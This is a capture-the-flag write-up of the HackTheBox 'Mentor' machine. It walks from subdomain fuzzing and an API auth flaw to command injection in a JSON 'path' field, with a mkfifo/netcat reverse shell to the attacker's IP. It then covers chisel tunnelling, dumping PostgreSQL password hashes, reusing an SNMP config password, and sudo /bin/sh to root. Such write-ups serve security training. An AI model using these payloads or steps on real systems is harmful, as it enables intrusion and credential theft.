Hackthebox Mentor Writeup
Dedsec / December 11, 2022
11 min read •
Description
Hackthebox released a new machine called mentor. On this machine, first we enumerate the new vhost which gives the api documentation that lists all the endpoints. Then there we get the command injection and get the rev shell, find the creads of database dump the hashes from the database and get the user password from snmp config files and for root we have the permission to execute the sh binary.
Nmap
❯ nmap -sC -sV -oA nmap/result 10.10.11.193
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 00:45 CST
Nmap scan report for api.mentorquotes.htb (10.10.11.193)
Host is up (0.089s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c73bfc3cf9ceee8b4818d5d1af8ec2bb (ECDSA)
|_ 256 4440084c0ecbd4f18e7eeda85c68a4f7 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.68 secondsNmap tell us there are two ports open 22:ssh, 80:http which is redirecting to mentorquotes.htb
Let’s add that in /etc/hosts file
❯ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 dedinfosec
192.168.239.67 earth.local terratest.earth.local
192.168.79.52 dc-9
10.10.11.193 mentorquotes.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersPort-80
There is a simple web page, nothing much to do, I also try dirbusting but nothing found.
Let’s try to fuzz the new subdomain with wfuzz
❯ wfuzz -H "Host: FUZZ.mentorquotes.htb" --hc 302,400 -t 50 -H "User-Agent: DEDSEC" -c -z file,"/opt/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt" http://mentorquotes.htb/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://mentorquotes.htb/
Total requests: 38267
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000142: 404 0 L 2 W 22 Ch "api"
Total time: 0
Processed Requests: 38267
Filtered Requests: 38266
Requests/sec.: 0Found one, let’s add that in /etc/hosts file
❯ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 dedinfosec
192.168.239.67 earth.local terratest.earth.local
192.168.79.52 dc-9
10.10.11.193 api.mentorquotes.htb mentorquotes.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersapi.mentorquotes.htb
There is 404 page, nothing much, let’s try dirbusting to find some new endpoint.
Found some interesting endpoints Let’s go there one by one
❯ ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -u http://api.mentorquotes.htb/FUZZ -t 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://api.mentorquotes.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
admin [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 120ms]
docs [Status: 200, Size: 969, Words: 194, Lines: 31, Duration: 103ms]
users [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 95ms]
quotes [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 89ms]
server-status [Status: 403, Size: 285, Words: 20, Lines: 10, Duration: 83ms]
:: Progress: [38267/38267] :: Job [1/1] :: 399 req/sec :: Duration: [0:01:36] :: Errors: 0 ::/admin Tell us we need to authenticate first to access this endpoint.
/docs Tell us pretty much everything about every endpoint which is created on top of swagger module.
And we also see that the owner of the website is james and his email is james@mentorquotes.htb
Let’s try to sign up with help of documentation, but I like working in burp, so I capture the request in burp.
Created the account with random creads.
Now, let’s also capture the login endpoint request in burp.
And we got the JWT token.
I also capture the request of /users endpoint in burp, which will give the all users list.
But no luck this time, we got the 403 forbidden error which tell us that only admin can access this resource.
Let’s play with the /signup endpoint.
First I try to register with james user with his email which is admin of the website.
But that’s not working.
Now I change the email to that email which we register first time, and this time it’s working.
It’s mean that it’s only validating the email that can’t be registered more than one time but this is not the same case with username.
Now I try to log in with that same creads and we got the JWT token.
And this time we got the users list.
If you remember we found one endpoint called /admin which require authentication, let’s try this token with that endpoint.
And it’s works we got 2 new endpoints
- /check
- /backup
The /check endpoint is not implemented yet.
But the /backup endpoint tell us that the GET method is not allowed.
Let’s change the method of request.
And it’s tell us it’s want JSON object with body attribute
I add the empty JSON object and change the content type to application/json which give one more attribute to specify called path.
When I give both attribute it gives success message called `Done!“
Let’s try basic command injection with ping command, but first let’s start the tcpdump.
❯ sudo tcpdump -i tun0 icmpAnd the JSON object look like this.
Try a basic technique of command injection with ;
{
"body": "dedsec",
"path": "/etc/passwd;ping -c 2 10.10.XX.XX;"
}Let’s send the request and check the tcpdump.
And we got the ping back
Let’s try to get the rev shell.
{
"body": "dedsec",
"path": "/etc/passwd;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.XX.XX 9001 >/tmp/f;"
}And we got the rev shell back.
❯ nc -nvlp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.193.
Ncat: Connection from 10.10.11.193:41189.
sh: can't access tty; job control turned off
/app # ls
Dockerfile
app
requirements.txt
/app # pwd
/app
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)Inside the /app/app directory, I found db.py file, which has the PostgreSQL creads.
/app # pwd
/app
/app # ls -al
total 32
drwxr-xr-x 1 root root 4096 Nov 10 16:00 .
drwxr-xr-x 1 root root 4096 Nov 10 16:00 ..
-rw-r--r-- 1 root root 1024 Jun 12 10:21 .Dockerfile.swp
-rw-r--r-- 1 root root 522 Nov 3 12:58 Dockerfile
drwxr-xr-x 1 root root 4096 Nov 10 16:00 app
-rw-r--r-- 1 root root 672 Jun 4 2022 requirements.txt
/app # cd app
/app/app # ls -al
total 40
drwxr-xr-x 1 root root 4096 Nov 10 16:00 .
drwxr-xr-x 1 root root 4096 Nov 10 16:00 ..
-rw-r--r-- 1 root root 0 Jun 4 2022 __init__.py
drwxr-xr-x 1 root root 4096 Nov 10 16:00 __pycache__
drwxr-xr-x 1 root root 4096 Nov 10 16:00 api
-rw-r--r-- 1 root root 0 Jun 4 2022 config.py
-rw-r--r-- 1 root root 1001 Jun 7 2022 db.py
-rw-r--r-- 1 root root 1149 Jun 4 2022 main.py
-rw-r--r-- 1 root root 704 Jun 4 2022 requirements.txtimport os
from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database
# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
"quotes",
metadata,
Column("id", Integer, primary_key=True),
Column("title", String(50)),
Column("description", String(50)),
Column("created_date", DateTime, default=func.now(), nullable=False)
)
# SQLAlchemy for users
engine = create_engine(DATABASE_URL)
metadata = MetaData()
users = Table(
"users",
metadata,
Column("id", Integer, primary_key=True),
Column("email", String(50)),
Column("username", String(50)),
Column("password", String(128) ,nullable=False)
)
# Databases query builder
database = Database(DATABASE_URL)For interacting with PostgreSQL database, we need to forward the port with chisel
Let’s transfer the chisel binary.
Let’s start the chisel server on our kali box.
chmod +x chisel
sudo ./chisel server --port 9002 --reverseNow let’s connect the client with server on port 9002 which give access to 5432 port which is default port of PostgreSQL database.
chmod +x chisel
./chisel client -v 10.10.XX.XX:9002 R:5432:172.22.0.1:5432
Let’s connect the PostgreSQL database.
And we got the three hashes, one of the hashes is ours.
❯ psql -h 10.10.XX.XX -U "postgres" -p 5432
Password for user postgres:
psql (14.5 (Debian 14.5-2), server 13.7 (Debian 13.7-1.pgdg110+1))
Type "help" for help.
postgres=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------------+----------+----------+------------+------------+-----------------------
mentorquotes_db | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 |
template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
postgres=# \c mentorquotes_db
psql (14.5 (Debian 14.5-2), server 13.7 (Debian 13.7-1.pgdg110+1))
You are now connected to database "mentorquotes_db" as user "postgres".
mentorquotes_db=# \d
List of relations
Schema | Name | Type | Owner
--------+---------------+----------+----------
public | cmd_exec | table | postgres
public | quotes | table | postgres
public | quotes_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
(5 rows)
mentorquotes_db=# select * from users;
id | email | username | password
----+-------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
4 | dedsec@mentorquotes.htb | james | fc8767a5e9e2382a17072b10725e1c8b
(3 rows)Crack the hash with crackstation and we got the svc user password called 123meunomeeivani
And we got the user.txt file.
❯ ssh svc@10.10.11.193
The authenticity of host '10.10.11.193 (10.10.11.193)' can't be established.
ED25519 key fingerprint is SHA256:fkqwgXFJ5spB0IsQCmw4K5HTzEPyM27mczyMp6Qct5Q.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.193' (ED25519) to the list of known hosts.
svc@10.10.11.193's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Dec 11 09:41:28 AM UTC 2022
System load: 0.0
Usage of /: 64.9% of 8.09GB
Memory usage: 14%
Swap usage: 0%
Processes: 240
Users logged in: 0
IPv4 address for br-028c7a43f929: 172.20.0.1
IPv4 address for br-24ddaa1f3b47: 172.19.0.1
IPv4 address for br-3d63c18e314d: 172.21.0.1
IPv4 address for br-7d5c72654da7: 172.22.0.1
IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.193
IPv6 address for eth0: dead:beef::250:56ff:feb9:5da8
=> There are 3 zombie processes.
0 updates can be applied immediately.
Last login: Mon Dec 5 14:30:48 2022 from 10.10.14.40
svc@mentor:~$ cat user.txt
59c8a0c830dd00c74ff2c9bf334240a6Privilege Escalation
Running the linPEAS and we got the SNMP config file.
And we also see that it’s created recently.
And we also see that SNMP default port is open
❯ sudo nmap -sU -p 161 10.10.11.193
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 04:04 CST
Nmap scan report for api.mentorquotes.htb (10.10.11.193)
Host is up (0.086s latency).
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 0.35 secondsChecking the snmpd.conf we got a password SuperSecurePassword123__
svc@mentor:/tmp$ cat /etc/snmp/snmpd.conf
....
createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv
....Try that password with james user and it’s works.
svc@mentor:~$ su james
Password:
james@mentor:/home/svc$ id
uid=1000(james) gid=1000(james) groups=1000(james)Checking the user if they have sudo privilege
james@mentor:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on mentor:
(ALL) /bin/shAnd we see it’s run the /bin/sh binary with root privilege.
And we got the root.txt file
james@mentor:~$ sudo /bin/sh
# cd ~
# cat root.txt
74eb907c989f21c3b35798fcca58a2b9